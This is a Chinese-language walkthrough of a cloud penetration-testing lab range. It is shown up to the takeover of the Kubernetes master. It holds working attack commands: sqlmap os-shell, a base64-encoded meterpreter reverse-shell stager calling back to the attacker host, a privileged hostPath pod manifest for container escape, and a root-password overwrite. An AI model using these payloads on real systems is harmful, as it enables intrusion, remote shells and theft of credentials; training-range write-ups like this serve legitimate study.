『记』云渗透靶场WP
题目
任务1:对内网进行信息收集,获取到Minio的secretKey值。
任务2:进入Minio后台,获取MySQL密码。
任务3:获取到 MySQL 主机权限
任务4:提交k8s-master服务器根目录下proof文件内容。
任务5:获取k8s-node1权限,提交服务器根目录下proof文件内容。
任务6:获取k8s-node2权限,提交服务器根目录下proof文件内容。
任务7:进行信息收集,找到身份证尾号为8730的张伟的手机号码。
一、靶场拓扑
该场景包含了公司官网靶标以及域(AD)环境,总共涉及4层的网络拓扑结构,分别为:业务区域、企业资产区域、大数据区、研发运维区域。
场景中涵盖的漏洞类型包括通用Web应用漏洞、中间件漏洞、操作系统漏洞、K8S服务漏洞、数据库漏洞。攻击者需要运用信息收集、漏洞扫描、漏洞利用、内网穿透、K8S未授权API利用等攻防手段来完成渗透任务。拓扑详细信息如下图所示:
区域 | 场景节点 | 网络信息 | 节点描述 | 口令信息 |
---|---|---|---|---|
业务区域 | K8SMaster | <ip address> | K8S集群:mysql服务(负载)、业务系统、对象存储(Minio) | <account>/<password> |
K8SNode1 | <ip address> | |||
K8S Node2 | <ip address> | |||
企业资产区域 | Mail服务器(AD) | <ip address> | Exchange Server | <account>/<password> |
域控服务器(AD) | <ip address> | 域控制器 | ||
企业门户服务器(AD) | <ip address>``<ip address> | WEB服务器 | ||
大数据区 | 大数据平台服务器 | <ip address> | WEB服务器 | / |
核心数据库服务器 | <ip address> | MySQL数据库 | <account>/<password> | |
大数据核心服务器 | <ip address> | Hadoop服务 | / | |
研发运维区域 | 研发运维服务器 | <ip address> | Zabbix 服务器 | / |
大数据研发服务器 | <ip address> | Spark研发测试服务器 | / | |
机器学习服务器 | <ip address> | Jupyter Server | / |
二、渗透路径
攻击需要登录到攻击机进行操作
1. 1 内网扫描探测收集
查看内网iP地址 :192.168.10.100 ,使用fscan 进行内网探测收集
发现存活主机,50、60、70 进行全端口探测
存在 minio、k8s 6443未授权漏洞、继续对web服务进行目录扫描收集敏感信息
发现存在.git目录,存在git泄露漏洞
1.2 git泄露漏洞利用
使用dumpall
命令,下载泄露的git文件。
进入.git泄露的源码目录“192.168.10.50_node”,检查发现存在一个文件demo.html,。通过使用curl
命令我们可以发现,网站上已经删除了demo.html。
查看源码获得minio登录密钥
1.3 获得minio存储桶权限
使用获得的密钥登录minio存储桶
在桶中获得mysql配置信息
1.4 拿下mysql
前期我们在探测的时候发现了好多大端口,并没有识别服务 我们使用nmap来识别下服务的信息
nmap -sV -p 30006 192.168.10.50
手动udf提权,或者使用sqlmap提权
sqlmap -d 'mysql://root:CoreMysql@[email protected]:30006/mysql' --os-shell
收集信息,检查环境变量,发现存在K8S变量,得到K8S虚拟ip。export
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.10.100 LPORT=1000 -f elf |base64 -w0
# linux
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.10.100
set lport 1000
run
echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAD6MCoCmRRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==|base64 -d > ma
chmod +x ma
./ma
1.5 对K8S服务器6443未授权进行渗透
kubectl --server=https://192.168.10.50:6443 --insecure-skip-tls-verify=true get pods -A -o wide
kubectl get pods -A --server=https://192.168.10.50:6443 --insecure-skip-tls-verify=true
kubectl --server=https://192.168.10.50:6443 --insecure-skip-tls-verify=true get nodes
创建恶意镜像 poc.yaml
apiVersion: v1
kind: Pod
metadata:
name: alpha-k8sk8s-master
spec:
hostNetwork: true
nodeName: k8s-master
containers:
- name: alpha
image: docker.io/flannel/flannel:v0.21.4
command: ["/sbin/init"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: hostvolume
tolerations:
- key: "node-role.kubernetes.io/control-plane"
operator: "Exists"
effect: "NoSchedule"
volumes:
- name: hostvolume
hostPath:
path: /
type: Directory
kubectl apply -f pod.yaml --server=https://192.168.10.50:6443 --insecure-skip-tls-verify=true
kubectl exec --stdin --tty alpha-k8sk8s-master --server=https://192.168.10.50:6443 --insecure-skip-tls-verify=true -- bash
逃逸成功后进入到 /etc/ 备份密码文件,并且修改新的密码 zhangsan
然后退出回到攻击机
1.6 拿下K8S-master 节点
使用ssh 连接master
ssh [email protected] 密码:zhangsan
成功获得master权限.